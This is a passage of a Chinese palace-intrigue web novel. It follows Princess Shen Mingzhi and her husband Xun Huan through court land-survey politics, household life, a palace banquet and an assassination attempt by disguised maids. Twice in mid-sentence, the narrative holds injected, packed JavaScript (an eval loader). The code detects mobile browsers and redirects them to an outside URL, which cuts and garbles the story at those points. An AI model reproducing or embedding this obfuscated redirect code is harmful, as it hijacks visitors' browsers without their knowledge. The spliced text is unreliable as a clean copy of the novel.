“殿下记得这么清晰。” “他说了很多年。” “你也记了很多年。” “郇海山,你醉了。” 郇寰不再说话。 可他的心跳得还是很快,热血未凉。 “这次查费志皋,胡全德帮了不少,他的夫人也是信州的,手上有不少费家及当地官绅的把柄。他能当这个南海道布政使,算是应得的,但福祸不知,祝他好运。” 郇寰听见了,沈明枳的呼吸越发地乱。 说完这一条,他继续道:“年关快到了,都察院却提出了局部丈清,我听说内阁才议了半日,介含清就弹劾了秦王孝中犯禁,还提到晋王与宣平侯世子的摩擦,然后内阁便决定‘局部清丈自皇子始’。他真敢另辟蹊径,将天潢贵胄全都得罪透了,实在可敬……” “郇海山。” 他侧耳倾听。 “我也醉了。” 郇寰再也不说话了。 翌日。 “您可算有功夫召见我们了?”临川挽着辛莘的胳膊,一步一摇曳地走得很有风致,让沈明枳觉得不堪入目。 辛莘撇开她的手,坐到沈明枳边上:“今日借着探病的由头找我们来是什么事情?” 临川一屁股坐下去,撇嘴:“还能有什么事,绝对是楼家那件烂事。” 辛莘不解:“这件事还能再办出什么花来?” 临川小声抢白:“婚事黄了,现在新娘子缺人了!” 沈明枳无奈地瞥了临川一眼。 辛莘再度恍然,一拍大腿,立刻起身就要冲回家揪人,被临川拉住:“诶诶诶,你干什么去?” 辛莘把临川的手扒下,对沈明枳笑道:“鹇儿,这是郇侯知道的吧?可不要怪我捷足先登了。” “你尽管去。” 临川捧着脸叹气:“那后生我见过,你这么做别害了人家。” 沈明枳将暖手炉递给她,“申家的姑娘我也见过,小姑娘有些脾气,但心是好的。” 临川托着手炉,“那脾气坏得可不是一点两点,真叫嚷起来辛莘都比不过她!” “总也比不过你啊。” 临川两眼一瞪,却不反驳,半晌才闷闷地道:“那后生才不是张山川,指不定将来就是第二个郇海山,人又上进,又有人扶持,娶妻不贤,将来准要出事……” 张山川是临川郡主的仪宾,普通世家子弟,文不成武不就,但贵在不多管闲事、懂得知足常乐,故而鲁国长公主对这个女婿十分满意。 沈明枳觉察出临川的几分低落,笑道:“她现在在家里当姑娘,家里又宠,难免骄纵,以后懂事了自然就好了。” 临川别别嘴。 “你是怎么了?魂不守舍的。” “没什么啊。”临川嘴上这么说,但心里已经嘀咕,沈明枳这是在变着法子劝她向善。 沈明枳扳过她的双肩让她直面自己,“让我猜猜,你思春了?” 临川嗔怒:“混说什么呢!” “那便是了。”沈明枳了然松手,听她打岔:“诶,你上回应的还作不作数,我还等你去结账呢。” “结哪次?你请凌云重的那次?” 临川一拍桌子。 “极乐坊那天后我就让人去结账了。” 临川这才想起了这件大事,脸色一下子难看起来,“鹇儿,他知道我监视他的事情的。” 沈明枳眉头紧蹙:“他和你说的?” “对,我本来想着林云轻在他手上,好歹是一条生命,也是我陷他于险境,不能不管,刚好那天遇上了,就赔了罪,想把人要回来,结果他就告诉我这件事,威胁我让我夹着尾巴做人。” 见沈明枳神色也凝重,临川不由更慌了几分,“鹇儿,他不会真要对付我吧?肖执真不会也知道这件事吧?他们不会为了防止走漏风声,要杀我灭口吧?” 沈明枳边宽慰她边思索:“你好歹是郡主,不掺和朝事,他们不会轻易动你。林云轻呢?你问了他的情况吗?是死是活?” “活着的,但就是不肯把人还我!他不会真有什么癖好吧?又或者这林云轻真是他失散多年的弟弟?他不至于已经把人杀了结果来骗我吧!” “别瞎想。” “这让我怎么不去瞎想?他要林云轻有何用?算个人情还给我不好吗?难道他们一定 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临川终于品到了这种无力的苦味,“那我还是回封地吧……那年我嫁给张山川,母亲说她管不了我,也不管我,只给我立下规矩,有三样不能碰,最忌讳的就是权。” 沈明枳起身,拍拍她的肩膀。 “可是鹇儿!” “没有可是。” 临川刚鼓起的勇气又泄了下去。 ** 郇寰料到年关将近,苏悯必然要找上自己要一个关于苏霄的交代,但没想到为了苏霄,他能直白地在启明门前堵自己。 苏悯刚才还在和韦不决等说话,一看见郇寰,立即走了过来。 “我听说她被你赶出了公主府,她现在在哪里?” 郇寰还是周全了礼节,随后回道:“既然被赶了出去,我又如何知道她的行踪。” “郇海山,我当你是正人君子,这才——” “苏指挥使?” 苏悯抬头,见一有些陌生的男子晃到了郇寰身边,观其品阶,应当是六部里的一个五品官。 寇一爵自报家门后,森森冷笑道:“苏指挥使是在问谁?肖霄还是苏霄?鄙人曾听姑母说起过,太医院这位医婆当真是个妙人,便留了心,过后一查,果然是妙,居然和苏指挥使沾亲带故的。” 苏悯戒备又震惊地看了一眼郇寰,又直面寇一爵问:“寇郎中究竟想要干什么?” 寇一爵从郇寰背后走到他身前,“苏指挥使不是在问她的踪迹吗?巧了,这苏娘子被赶出公主府后,鄙人曾在化隆城郊见过她一面,说是要回岭南,可能是要去找在岭南的故旧,或许是她的堂姐?叫苏霁还是齐霁的——” 郇寰见苏悯周身的气势已然不同,如刀出鞘、箭在弦,情势也随之紧张起来。 寇一爵又走上半步,离苏悯近在咫尺,两人口中的雾气都直接喷在对方脸上,就在这样的距离里,寇一爵压得极低的声音用力将苏悯脑中每一个能够退缩的角落都狠狠砸烂,“不久前鄙人在街上看见了苏指挥使和这位齐娘子,想来齐娘子还在化隆,苏娘子应该也没有走远,她们还能再见上一面。” 苏悯攥紧了拳头,“你在威胁我。” “你要这么理解也可以。” “寇一爵!”郇寰拉了他一把,寇一爵轻甩开他,离苏悯更近了一些,“苏指挥使,为了一个不知所踪的人,搭上一个逃出生天的人、一群清白无辜的人,不值当吧?” 与苏悯不欢而散后,寇一爵这才收敛了神色,“你的伤还好吧?” “你把她杀了?” “呦,你居然还在意她?” “寇一爵!” “她没死,活得还不错,但让苏德惜以为她死了,未必是件坏事。” “死的比活的好,那为何还留着她?” “这你就不用管了。” “士可杀不可辱。” 寇一爵直视郇寰,“你说错了,她只是个女人。” 闻言,郇寰彻底明白了。 “郇海山,有时候你心硬得可怕,说不管就不管,无情无义。可有时候,你又心软得愚蠢,愚不可及——”寇一爵也不是要和郇寰吵架,便调转了话头,“我听说,圣上属意梅如故牵头清丈,先从魏王、燕王及其亲眷名下田产的彻查,但开春后才能实施的,过了一个冬天,只怕梅如故再智多近妖,也翻不出多少烂账。” “这是他的事情,你们只管将自己的账算好,免得事到临头措手不及。” 75. 第七十五章 家常事 操办完柳氏的丧事,朝臣的年假也差不多休完了,正式实施田亩清丈的旨意一下,梅如故就来信向沈明枳讨了不少人手,顺便要去了廉正。不论如何,沈明枳也不能向梅如故说不,便只能“抠抠搜搜”一番,勉强应了他的要求。把廉正这尊大佛送走,沈明枳自然是一百个乐意,毕竟,故太子留给自己的那几座庄子已经满足不了他的需求,他几次将盘算的主意打到了隔壁窦氏兄弟的田庄上,这让沈明枳有些头疼。 幸好现在头疼的是魏王不是她。 因为梅如故彻查田产过程中遇刺,随行的右副都御史裴瑄“不幸”殉职,于是都察院改派介含清都责。然后就是梅、介二人当廷弹劾魏王及魏王母族华氏贪赃隐没,龙颜大怒。 外面都传梅如故一行之所以查得这么快,归功于梅家一廉姓账房。魏王早做好了会被斥责的准备,丈田的胥吏不是户部派出去的老人就是地方衙门里的熟人,他们没打算干干净净如同秦王一样清清白白,这太假了,有此地无银三百两的嫌疑,但也没想到被一无名小卒搞得一败涂地,声名狼藉,斥责变仗责,罚俸变罚没。 而赵王的那头,进展过半,暂且没出岔子,算是扬眉吐气一回。 朝中一帆风顺,郇寰丁忧自然能万事如意,每天吃得饱、睡得足,容光焕发,精神抖擞,天天盯着郇七郎读书习字。也亏得郇七郎用功,他哥也不过分苛责自负,不然襄阳侯府又要上演鞋底抽人的热闹戏码。 沈明枳想,梅三、梅四也走运,磨磨蹭蹭抵京正遇上梅如故外出公干,不然第二天化隆就会传遍他们兄弟俩的哀嚎。 她托着下巴盯着郇八娘挝耳挠腮,时不时往窗外融融的天光看去,魂不知已经飞过了几重天,心下觉得这样还蛮有意思的。 她和郇家人都不熟。郇八娘刚见她时很好奇,后来有些怕她,柳氏死后伤心了一阵,哄过又活泼如旧,现在每天被自己押着读书习字、学礼绣花,苦大仇深。 小丫头逃学淘气的本事通天,但碍着公主嫂嫂的威严,不敢用十成的功力;有时趁着郇寰心情爽快大倒苦水,祈求长兄能通融一二,结果郇寰转头就找沈明枳告状,情景生动,条目清晰,第二天小丫头叫苦不迭;至于郇七郎,她避之不及,唯恐他又在郇寰面前为她“求情”或者天天在她耳边“念经”。 以前在宫里,沈明枳就没有享受到这样的乐趣。因为戒子太懂事太听话,先生布置十篇课业,他认真完成十二篇,事事超前,时时上进,沈明枳觉得自己再多说一个字都是天打雷劈的罪过,这导致她觉得自己这个姐姐还远不如弟弟自觉,惭愧不已。 此时,月珰、一直看顾郇七郎、郇八娘的蒋、安两位嬷嬷走了进来,在门边朝沈明枳示礼。郇八娘如蒙大赦,以为得脱苦海,整个人都灿烂无比,结果沈明枳起身经过她时,故意冷淡地抛下一句:“有长进,继续。” 郇八娘如遭雷劈。 安嬷嬷引着她们往库房去,“殿下,一些物什还待您查验。” 郇寰打算出了热孝就带上人回府,故而提前收拾东西,顺便把整座侯府都整饬一下。而侯府的事,无非钱银二字,除了查账的时候需要沈明枳这个女主人,其余的郇寰包办妥帖。因此她只用对付郇七郎兄妹和处境尴尬的郇三娘。 月珰看见整理出来摆在桌上的衣物完好如新,不由问道:“这些衣衫是?” 蒋嬷嬷笑道:“都是侯爷少时的衣裳。” 沈明枳挑眉,随手翻了翻几件,都是极亮极贵极新的颜色、面料、款式,大多是没穿几次就锁箱底的样子,和郇寰现在常穿的鸦青、靛蓝、绛紫的旧衣袍大相径庭。她很难想出郇寰穿着这样鲜亮的衣裳招摇过市的场景。 蒋嬷嬷道:“老奴还记得是萧太夫人做主都留下来,觉得扔了太浪费,柳太夫人也秉传家训,常叫七少爷穿侯爷旧衣,但七少爷总觉衣裳太过招摇,鲜少穿,就又锁起来了。” 郇七郎寻常所穿都是极其素净的衣袍,和他长兄不同,偏好月白、竹青等色彩。沈明枳也想不出这样艳丽的衣裳穿在郇七郎这样斯文尔雅的少年身上的是何光景。 安嬷嬷笑道:“可以留给以后小世子穿。” 沈明枳一扯嘴角,在库房里转了会儿,等到夕阳低垂,一出库门,就见郇寰踏光而来,云霞千丝万缕,将他衣裳织成华缎锦绸,他抬眼含笑,隐有着桀骜,一副画实如苍天要将年少鲜衣、恣意怒马的少年风流送到她的眼前。 惯见他沉稳老练,忽然遇见这样如同隔世做梦般的景象,沈明枳稍稍一愣。但她连愣神的分寸都拿捏得当,瞬息之间恢复寻常的沉着冷淡,直让旁人以为发愣的不是她而是自己。 “你怎么来了?” 郇寰就有自己愣神的错觉,他清清嗓子走过来与之并肩而行,“闲逛,顺便叫你去用膳。” “申国公府的消息你知道了?” “嗯,我们想到一块儿去了——到时候多给申小姐添妆,算是补偿吧。” “日子什么时候定?” “我听申不极说不着急,大概等我出了热孝吧。” 他们的对话家常到烂俗,从晚上吃的哪道菜淡了,八娘今天又戳了自己几个窟窿眼,七郎习武摔了几个跟头,到哪个小厮和婢女偷摸地牵小手,沈明枳和郇寰都没想过会有这样一天他们能心平气和地话家常,说到有意思的地方还能捧场似的笑两句,笑完还能觉得意犹未尽。不谈礼节,不带心眼,普通得如同平头百姓家的夫妻。 这或许是柳氏之死,带来的为数不多的好处。 坏处也少,但很要命。 郇寰丁忧后,朝廷鲜见地没有立即补上刑部尚书的空缺,只晋了郎中陶识礼的官位,当了侍郎,与严中立一左一右支撑门庭。人人看这都是要热孝结束立即夺情起复的架势,但郇寰心里没有底,尤其是赵王传来消息:夺情的诏书被压在吏部,按住不发。 他们如临大敌,毕竟这种重要文书,也许按着按着就没了。 但郇寰觉得这未尝不是件好消息。 现在刑部由两位侍郎撑着,朝中也没有非他不可的大事,于情于理,夺情起复都不合适。他不是要赚守制孝子的虚名,而是圣上的偏袒让他很惶恐。他郇海山自然没有能让圣上偏袒的过人之处,而沈明枳有。 物无美恶,过则为灾。让大家知道圣上很看重兖国公主,很宠爱兖国公主,有时候圣上会为了女儿的幸福略微偏向赵王派,这可以理解。人心都是偏的,但如果心已经偏到无异于长在沈明枳身上,对女儿的疼爱已经可以影响朝中势力,这就是大祸。 公主南巡犯制,但圣上敢冒大不韪,是以南海道布政使司要刺杀钦差,魏王、燕王的也要派人暗算。寇德中等一些老臣对兖国公主诸多不满,对晋王多有忌惮。他们都能感受得到,如果不是生死、皇位这样高度的利益,兖国公主未必和他们一条心,他们乐见圣上偏心沈明枳,但绝不允许沈明枳的存在威胁到皇位轮替。 郇寰按着眉心,将信件烧尽,收拾好书案,打算去看一眼郇七郎就休息。 正路过小庭院周围的抄手游廊,郇寰就听见润在月光之下的假山那边有两个人窃窃私语,背上一凉,下意识地轻手轻脚靠近。 女子惋惜道:“今夜驸马又要宿在书房了!” 男子尴尬地笑笑,随后宽慰道:“这不虽然出了热孝,但还在孝期嘛,总要避避,避避。” 女子语带嘲讽:“呵,我家殿下也在孝期,驸马公干回来还不是宿在一起,那时怎么不想着避一避?” 男子汗颜,“你这算是皇帝不急太监急?” 女子怪道:“呵,莫非驸马心里有人了,这才上赶着……” 男子惊道:“你混说什么,绝对没有的事情!” 男子似是捂了女子的嘴,女子不出声,只有男声从假山另一头传过来:“我跟着主子这么多年了,就没见过主子对旁的谁谁谁上心,主子成天忙得觉都睡不好,哪有时间去寻花……” 男子想说“寻花问柳”,又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596715|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁想到多年前闺中流传的歌谣,不知怎地就是难以说下去,就在这个当口,女子抢白:“那那个莫名消失的肖医婆又是怎么回事!我分明瞧见是驸马亲自带走的!今天我听外面采买的人说,京郊发现了一具女尸,被山中狼啃得面目全非,老早前的事了,看她身上的文牒,有可能就是那肖医婆。好好地,她怎么跑到山里去了?” 郇寰一惊,听那男子焦急道:“我的姑奶奶,这件事你听谁说的?” “你别管是谁说的,你不信?那就亲自去京兆府问问!” “我信我信我当然信你。只是……” “只是什么?” “你是不知道,这肖医婆到了庄上没过几天就要南下寻亲,她的丈夫不是走失了嘛,她一心想着要去寻,拦也拦不住,谁能想到居然葬送在了荒郊野岭。” 女子质疑:“当真如此?” “若非如此,你难道以为是我们下的黑手?” “这倒没有。” 随后就是几番安慰几番缱绻,让郇寰鸡皮疙瘩掉满地,打算找个时候去探探沈明枳口风,成全这对鸳鸯。是故,他边想着如何巧妙开口让人听不出他的用心所在,边后退几步往回廊走,一个不留神刮到几束枯枝,“刺啦”的裂帛声在宁静的春夜中分外刺耳,如同一柄刀子,将这令人陶醉的画卷割破。 “什么人!”冬至大喝一声,在女子慌乱的脚步声中身手敏捷地跳了过来,然后呆若木鸡地锚立原地。 郇寰装作受风轻咳两声,干巴巴解释自己路过而已也没听见什么云云,讪讪地走了。心下却觉得自己这番行径既无分寸又很丢人,好似与人幽会的不是冬至而是自己。 “主……主子!” “我真的什么也听见!” 冬至却没在玩笑:“主子,苏娘子死了?” 郇寰的心沉了下来,“或许吧。” “这寇一爵还真是……” “慎言。” ** 二月末、三月初,悬水河再发桃花汛。 升平一朝,上回发桃花汛还是癸卯年,安稳了近九年的悬水河终于闹腾了,所幸规模不大,但哀鸿遍野自不必说,朝中沸反盈天。 因为决口的沃野县处的堤坝,是土表草芯。而当年主持修复沃野县段堤坝的人,正是当时的户部郎中邹秉童。邹氏一族因费志皋案被查抄,卷宗一应存交大理寺,这就方便都察院和大理寺挖出了当年堤坝完工之后邹家相应的财产收支,顺藤摸瓜找到邹秉童贪污公款销赃的渠道,也不怕抱蔓摘瓜,将涉案人员一网打尽,一个个细细地审。 赵王派意犹未尽,翻出先前疑罪从无的漉水赝品案,将当今的户部尚书覃玉麟拉入泥潭。其实覃玉麟和邹秉童到底有没有牵连并无干系,但师徒连坐这样好的“借物起兴”如何能够置之不用,只消拿到查抄覃家的公文,还怕下文写不出来? 沈明枳只觉得字字滴血。 现在根本不是借势打击、拉帮结派的时候。 赈灾、修堤、防疫,没一项都迫在眉睫,若真的处理不当,流民暴乱不是虚语。 沈明枳食不下咽,梅如故请命出京,郇海山夺情起复。 邹秉童走了,但他的势力还在户部,邹家彻底完了,墙倒众人推的活他的门生未必愿做,但审时度势的修为大家都有,情况不对,加盖了户部大印、起复郇寰的诏书就星火般送到了襄阳侯府。 要变天了。 梅如故受命动身去沃野前让暗卫给沈明枳递话。 什么地方也不要去。 若有变数,找柳曦既。 沈明枳觉得梅如故预感到了什么,或者说,安排了什么。 但他自有谋算。 沈明枳看向匆匆去隔间换官服的郇寰,他的背影已经如同青烟鬼魅,瞬息散灭。 一顿饭吃到一半,郇七郎和郇八娘放下筷子,一言不发地看向兄嫂。 这种严肃的氛围,终于在五十多天后,再度笼罩整座侯府。 76. 第七十六章 小郡王 多灾多难的两个月后,天下人都知道,魏王完了,燕王也完了。 鲁国长公主带着女儿躲回了已故长公主驸马吕颦调的老家江西雩都,美名其曰:探亲。临川天天给沈明枳来信,抱怨谁把天戳了这么大一个窟窿,日日漏水。 因着朝事积压,每年雷打不动的端午宫宴被取消。过了端午,诸事如同江淮的梅雨天逐渐收尾,圣上欲以荷宴慰藉群臣,结果自己先受风倒下,荷宴之事不了了之。 梅如故都快回来了,他所预料的事情连鬼影子都没见着。 沈明枳心里很不安定。 最近唯一的大事就只是,南越将军不日将抵京述职,剑南都督乔致用要回来了。 她借着探病的由头打算再入宫探探虚实,谁料二门未出,沈明枳就接到了宫里内监的传信,说是明日晚间宫中家宴。 沈明枳挑眉。 寻常家宴都设在午后,不留宿。 梅如故的提醒在心里生了根,过分敏感的沈明枳还找了重回化隆的邕国公主探问,结果却是路过的长荣去宫里看了荣妃后解了惑。原来只是十五日下午要约见先行到达的南诏使臣,圣上又打算恢复停了两个月的家宴,于是就撞在了一起。 郇寰又一连十几天宿在刑部值房,接到消息后还让人送件常服来,下午直接换了去赴宴。于是,沈明枳按照郇寰的意思,在他一众乌压压、灰蒙蒙的衣裳里挑出他要求的那件空青色的。这还是上月公主府按惯例做的夏衫,亏他在孝期、多少天不回家还记得有这样一件衣服。 郇寰刚抛了笔,就闻得郇杭来报,微有惊诧,收了卷册交付给下属,理了理冠发,容光焕发地走了出来。 因着冬至连天跟着郇寰住在刑部跑腿实在吃不消,就换了守在府中的郇杭来替他,反正郇寰只管能不能干活。 他快步走到偏厅,却只见冬至捧来衣袍,正和月珰聊天。郇寰眉头一皱,未及开口问,月珰就已回答道:“方才公主在门口遇见了秦王殿下,就顺便聊上几句。” 郇寰心里莫名吃味,换好了衣裳跨出刑部大门,就见沈明枳、秦王老九和几个好似要下衙的御史站在都察院门边相谈甚欢。再定睛一看,他道是谁,原来是炽手可热的右佥都御史介大人和坏人好事的右都御史楼大人。 他抬脚走去,几个人停了说笑互相道礼。 寒暄不到两句,四下留步驻足的御史纷纷散去,忽见一人自都察院里携着一缕霞光走出,沈明枳微愣,退了一步向来人施礼,“原来是柳总宪。” 楼宥谦算是柳曦既爷爷辈行的人,在柳曦既还没做到他顶头上司时,有时候看这个后生就有点发憷,现在被当场抓到在司部门前闲聊,察院里还有一堆事拖着,他老脸有点挂不住,讪讪一笑后就要告辞。并且,自家后辈和对门小郇尚书家的姑娘不清不楚,两边都坏了好亲事,他对上郇寰冷冰冰似笑非笑的目光时,背上直冒冷汗。 而介含清,对着柳曦既有几分畏,对自己此番行径也有几分愧,且莫名觉得氛围不对,含糊了几句也溜之大吉。 柳曦既神色不变。 郇寰倒是笑了两声,随后也嘿然不语。 沈明枳觉得这气氛很是难熬,只觉得今天的郇寰发了神经,寻常那侃侃而谈的劲直让人以为他上辈子是哑巴,现在又让人觉得他上辈子死于多嘴。 终于,几个人里有人说话了。 “难得见柳大人准时下衙,柳大人真是尽职尽责,朝廷楷模。”老九恭维笑道。 柳曦既扫了一眼郇寰,淡淡道:“下官今日休沐。” 沈明枳内心已经快被老九笑掉大牙,但面上还是贴心地为他接过话茬,防止他尴尬得无地自容。 自都察院别过后,沈明枳毫不吝惜字句:“九哥以后见了老丈人可别这般莽撞了。” 老九笑容一僵,呵呵哈哈地打着马虎眼,一直关注着默默不语的郇寰,觉得他没有看出端倪后方才舒下一口气。 在千秋阁用过膳、圣上问过诸王儿女的课业,就放他们自由玩耍,即便他们的爹妈坐在一边不言不语,都像吞了苍蝇一样,有着你死我活的血海深仇,但丝毫不影响小孩子之间其乐融融。 魏王世子因着去岁冬天烧坏了脑子,整个人痴痴傻傻,故而没来。齐骞也没来,故而今年十二岁的魏王次子元睿郡王沈磬便成了在场诸位中最年长的孩子,一手牵着六岁不过的弟弟,一手扒着桌案,眼睛亮晶晶地听秦王老九讲市井里的笑话。 燕王的小儿子沈砺也跑了过来,要和堂兄们抢位子,抢不过,差点哭了出来,好在沈明戒把他抱了过去,得了这样至尊至贵的好位子,连忙在沈明戒怀里高兴得手舞足蹈。 邕国公主逗着女儿,女孩们都围着她们母女,长乐闷闷不乐,长华畏畏缩缩,长荣和张四郎则被自己的儿子搅和得不可开交,长英则和沈明枳说笑。郇寰边与赵驸马说话,边看着这副场景,倍觉心热。 不过,他看见了元良小郡王沈硎,站在长英身边,一会儿望望沈明戒怀里堂兄,一会儿看看邕国公主身边的姐姐,格格不入之感让他整个人手足无措。 赵王妃正和妯娌说话,赵王也在圣上的考教面前严阵以待,赵王世子早在秦王老九那里玩得乐不思蜀,无人能够、愿意分出一点精力给眼前这个茫然失落的孩子。 郇寰犹疑片刻,还是轻轻叫他:“小郡王?” 这边一片都是女孩子,可沈硎依然不觉得这是在叫他。 郇寰又叫了一声,沈硎这才怯怯看过来,几步走得极其腼腆。 “小郡王在等长英公主?” 沈硎点头。 郇寰看了一眼和沈明枳聊天兀自说得投入的长英,“小郡王有什么事要和公主说?” 沈硎看了一眼面相随和的赵驸马,揪结了很久才愿意开口:“我想问小姑母,火火和蓝蓝怎么样了?我们刚交上了朋友,好久没有见了。” 郇寰笑着对赵驸马解释:“是长英公主养的一对鹦鹉——小郡王是想,让长英公主带你去看看他们?” “宫里太大,我找不到他们。” “可是天黑了。” 一听这话就知道没戏,沈硎忍不住伤心,失魂落魄地又望向了长英,“我真的好想他们……” 郇寰摸摸他的脑袋,微笑道:“这样吧,小郡王先去问问长英公主,如果公主答应,再让王妃安排宫女内监陪你去?” “郇侯能陪我去吗?” 郇寰抬头看了一眼沈明枳,正巧沈明枳也看了过来,沈明枳看了过来,长英便也转过脸,起身和沈明枳走了过来,“元良,你怎么又要哭鼻子了?” 沈硎怯弱道:“我想见火火和蓝蓝。” 长英反应了一瞬,“红胜火和绿如蓝?” 这时,邕国公主怀里的小孩子也学着叫:“火火!火火!” 沈明枳笑:“莲儿也想看小鹦鹉啊?” 邕国公主刮女儿鼻子:“她什么都想要!不过是去不成了,得抱去喂奶。” 沈硎渴求地盯着长英。 “好吧好吧,我带你去。” “可是天黑了。”沈硎拉住郇寰的袖子,“郇侯陪我去好吗?郇侯在,他们才会叫‘哥哥’的。” 郇寰又看向了沈明枳。 长英也抬头,邕国和赵驸马一起笑了起来,沈硎这才注意到沈明枳,刚要可怜巴巴朝沈明枳撒娇,沈明枳就笑着摸了一把沈硎圆溜溜的脑袋,“去吧去吧,路上当心。” “姐姐不妨一起来?” 沈明枳摆手:“你们去吧,我去更衣。” 平心而论,沈明枳和孩子说不上话,快被她逼疯的郇八娘就是典例,更衣不过借口,她到御花园里逛了一阵,却发觉郇寰正立在莲花池栏杆旁,似守株待兔地在等人。 “你怎么在这儿?” 他负手立在当口,一轮圆月落在水中,搅碎一池琼瑶的习习夜风也掀起他的衣摆。他甩甩头,“路上碰见梁国公主夫妇,他家的孩子也想去看鹦鹉,两个小孩子玩得不错,我便溜了回来。” “他很信你。” “我也不知道为什么,也许是因为,没什么人和他说话,偶尔遇见一个,便觉得难得又珍惜。”郇寰轻笑,“郇翾他们见了我,有时还要害怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612315|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他倒例外,便可见,王府里的人也不是那么适合养孩子。” “我听说,他先天心智就落后于常人。” “或许有点吧,但心智发育落后,不代表他天生痴傻。” “少年老成,不代表他就天资过人。” 两人俱是一笑。 “他这种情况,更应有人陪着。” 郇寰叹息:“他上头有一个哥哥一个姐姐,还有这么多堂兄堂姐,不过看着没一个喜欢和他玩,大概小孩子更知趋利避害。” 沈明枳沉默下去。 郇寰吐出一口气,垂眼看向不知在想什么的沈明枳。目光掠过她乌发间的那支蝶花钗,掠过那双碟绕花的缱绻,直看向她那双永远显得冷静得冰凉的眼睛。她的睫毛长而黑,总能轻易地遮掩眼底的光景,总让人参不透庐山真面目,又勾人穿花寻路,直欲寻得白云深处见虹霓。 他想了想,继续说:“不过我也见过例外,寇一爵对他哥哥就不赖。” 沈明枳终于有了反应,“他哥哥也和元良一样?” “比他更严重吧。我听说最近一次寇一爵晚归,他哥哥着急要出门找他,自己摔了一跤,头破血流的,像个孩子哇哇大哭,只有寇一爵回去了才哄住。他们小时候这些事情就更多了,寇一爵去哪儿都要带上他这个哥哥。” “看来他们兄弟感情不错,听着不像他。” 月晓风清欲坠时,郇寰低眸,“殿下眼里他是什么样的?” 沈明枳望向远处东风亭,“总不会是这样温情之人。” 郇寰又笑:“说实话,我以前一直觉得他很有人情味,就是这般温情的人。” “以前?多久以前?” “大概十来岁的时候?也是在菁明书院里认识的,听了不少他和他哥哥的事。后来我去了兰陵,偶尔回来也能不极说起他,父母俱在,兄友弟恭,家庭和睦,当时也觉得这样的一家子养出一个温文尔雅的人不足为奇——” 沈明枳听见了郇寰低不可闻的长息,稍稍偏头,竟在微光之下发现他下巴生了细细的胡茬。他一向是精神饱满地出现在所有人面前,却不知在说起少年时对寇一爵的“艳羡”时,他也会忘记要装得强大稳重,几十日的休息全在连日案牍劳形后湮灭,难得过上的如辋川闲居般的平静日子亦一去不复返。 觉得话题有些偏,郇寰在短暂的沉默里胡乱问:“这东风亭的‘东风’取的是何意境?” 沈明枳还在想,郇寰便问了一连串:“门外东风雪洒裾?昨夜东风入武阳?东风袅袅泛崇光?东风无力百花残?飒飒东风细雨来?” 沈明枳被他的故意逗笑了,“怎不说是‘子规夜半犹啼血,不信东风唤不回’?” “还未来得及说,便被殿下抢先了。” 郇寰见沈明枳刚亮起来的眼睛又黯淡下去,“亭前楹联有写:社稷之臣正气万世,股肱之佐休光百年。” 郇寰轻笑:“是臣过于浅薄了。” 沈明枳摇头,“玩笑话。” 两人之间再度无话。 但当郇寰开口打算提一提冬至和冬儿的事时,余光瞥见对岸一个人影闪过,再定睛一看,哪有什么人影,那处黑漆漆的,却与夜色浑然一体,如同天地间静立的幢幢虚无的楼台正坦然地接受自己的打量。 他怀疑自己是累得眼花了,但多少年掌管刑名养成的习惯,还是下意识地催使他要去尝试着掌握眼前的一切,他将才打算扯起的话头搁下,开口问道:“对岸是哪里?” 沈明枳一眼未看直接答:“东宫。” 郇寰点点头。他知道从这里到东宫有一条小路,但具体怎么走,他不知,只粗粗见过那处入口,而此时,那入口在黑暗与花木葱茏中难以分辨。 他随口问:“有人把守那条小路吗?” “有,长缨卫,十五人为一岗。” 郇寰默然不作声,只觉得在这样的夜里立在水边他心中不定,打算带沈明枳回去,但沈明枳却盯着远处怔住了,随后脸色一变,用力抓住他的小臂疾步退回石子路上,作势要往对岸赶去,声音低哑阴郁:“有人!” 77. 第七十七章 生死局 冬至和月珰守在远处闲话,忽然见夫妇二人疾步走来,以为出了什么事情,忙上前侍候,谁知沈明枳开口第一句话就是:“什么时辰了?” 一壁紧随他们的脚步,冬至一壁观望月相,恭敬答道:“莫约戌时。” 沈明枳下意识觉得这个时辰很重要,但一时想不起重要之处,只注意着脚下的路,不留意郇寰将她的手牵到了掌中。 月珰忽然对着迎面走来的一对宫女喝问道:“你们是哪宫的人!” 宫女不答,只是抬头在四个人中略微分辨,冲着一前一后挨着的一对男女大步而来,弹指之间,已到近前,随后寒光一闪,一柄森冷的匕首直直朝沈明枳而来。 郇寰下意识将沈明枳扯到怀里,一个转身避开锐利的刀风。 随即,从另一侧持刃刺来的宫女被护在不远的冬至徒手劈中,冬至大声暴呵:“有刺客!快来人!” 郇寰不会功夫,少时学的都只是花拳绣脚,临到生死关头,只能护着沈明枳四下躲避,不一瞬身上就挂了彩,却仍不忘随沈明枳的脚步朝前跑去;冬至有功夫,但这两个宫女功夫也不赖,且冬至身上没有佩剑,又一心系着郇寰夫妇二人,还有慌乱无措的月珰在一旁,略有颓势。 沈明枳见无人前来,便知情形不对,忙对杀局外尚能奔逃的月珰大叫:“去东宫!快去!” 月珰胆寒,但瞬间明白欲破此杀局必得有外援,而这里动静不小却招不来宫中巡夜的羽林卫,明显其中有鬼,其他军卫的衙门都在遥远的西直门外,现今唯有戍守东宫的长缨卫或可给予希望。 